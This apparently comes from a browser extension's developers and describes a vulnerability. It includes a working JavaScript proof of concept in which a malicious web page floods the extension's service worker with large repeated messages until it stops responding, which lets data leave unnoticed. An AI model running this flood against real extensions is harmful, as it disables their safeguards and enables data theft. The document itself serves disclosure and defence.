Here is an example that a malicious website can use. This causes our service worker to be unresponsive, and the user would be able to exfiltrate sensitive information without our knowledge.
(() => {
const extId = "OUR_ID";
if (!chrome?.runtime?.sendMessage) return;
const payloadMB = 5; // increase if needed
const repeat = 50; // number of sends
const intervalMs = 1000; // lower = more aggressive
const payload = "A".repeat(payloadMB * 1024 * 1024);
let sent = 0;
const t = setInterval(() => {
chrome.runtime.sendMessage(
extId,
{
action: "allowedAction",
message: payload, // has to be dynamic, which is why they can increase the payload size
},
() => {},
);
if (++sent >= repeat) clearInterval(t);
}, intervalMs);
window.stopFlood = () => clearInterval(t);
})();